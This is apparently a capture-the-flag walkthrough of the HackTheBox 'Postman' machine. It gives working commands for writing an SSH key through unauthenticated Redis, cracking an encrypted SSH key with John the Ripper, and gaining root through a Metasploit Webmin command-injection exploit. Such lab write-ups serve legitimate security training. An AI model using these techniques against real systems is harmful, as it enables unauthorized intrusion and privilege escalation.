We covered the enumeration of Redis NoSQL database server and exploitation using SSH. This was part of HackTheBox Postman
HackTheBox Postman Challenge Description
Postman is an easy difficulty Linux machine, which features a Redis server running without authentication. This service can be leveraged to write an SSH public key to the user's folder. An encrypted SSH private key is found, which can be cracked to gain user access. The user is found to have a login for an older version of Webmin. This is exploited through command injection to gain root privileges.
Postman CTF Walkthrough
I started this challenge by performing an nmap scan, which revealed several open ports: SSH (22), HTTP (80), Webmin (10000), and Redis (6379). My initial thought was to look for an exploit for the Webmin version (1.910). I used searchsploit webmin and found a remote command execution exploit available in Metasploit.
I then launched msfconsole and loaded the Webmin exploit. However, I quickly realized that this exploit required a username and password, which I didn’t have yet. I also tried to access the Webmin interface in a browser, noting that it used SSL and required adding “postman” to my local hosts file, which I did using sudo nano /etc/hosts.
Redis Exploitation
Since Webmin wasn’t immediately exploitable, I shifted my focus to the Redis database running on port 6379. I connected to it using redis-cli -h <IP_ADDRESS>. I checked for authentication with get user, which returned nil, confirming there was no authentication required – a critical misconfiguration!
I then used the info command to gather more details about the Redis server, including its version (4.0.9) and configuration file location. I also used config get dir to find the Redis installation directory, which was /var/lib/redis. I confirmed write access by setting and getting a test key (set user myname and get user).
My plan was to write an SSH public key to the server’s authorized_keys file. I generated an SSH key pair using ssh-keygen -t rsa (if I didn’t have one already). Then, I prepared my public key by adding newlines around it and saving it to a file, which I then piped into Redis using cat key.txt | redis-cli -h <IP_ADDRESS> -x set pkey.
The crucial step was to tell Redis to save its database file to the SSH directory and name it authorized_keys. I did this with config set dir /var/lib/redis/.ssh/ and config set dbfilename authorized_keys, followed by save. After these steps, I was able to successfully log in via SSH as the redis user using my private key: ssh -i ~/.ssh/id_rsa redis@<IP_ADDRESS>. I confirmed my user with id.
Privilege Escalation to User “matt”
Once I was on the system, I enumerated users by checking /etc/passwd, which showed redis and matt. I then found an encrypted SSH private key backup in the /opt directory named id_rsa.backup. I copied this key to my local machine.
To crack the password for this encrypted key, I first converted it to a format John the Ripper could understand using ssh2john.py encrypted_key > encrypted_key_converted. Then, I used John the Ripper with a wordlist (john --wordlist=rockyou.txt encrypted_key_converted) and then john --show encrypted_key_converted to reveal the password: “computer2008”.
With this password, I could log in as “matt” through the existing SSH shell using su matt and providing the password. I verified I was now the matt user with id.
Privilege Escalation to Root
Finally, I returned to Metasploit to use the Webmin exploit. This time, I had the credentials for the matt user. I set the exploit options: set PASSWORD computer2008, set USERNAME matt, set LHOST <YOUR_IP_ADDRESS>, set RHOSTS <TARGET_IP_ADDRESS>, and importantly, set SSL true.
I then ran exploit, which opened a command shell session. I immediately checked my user with id and confirmed I was root! The final step was to retrieve the root flag using cat /root/root.txt.
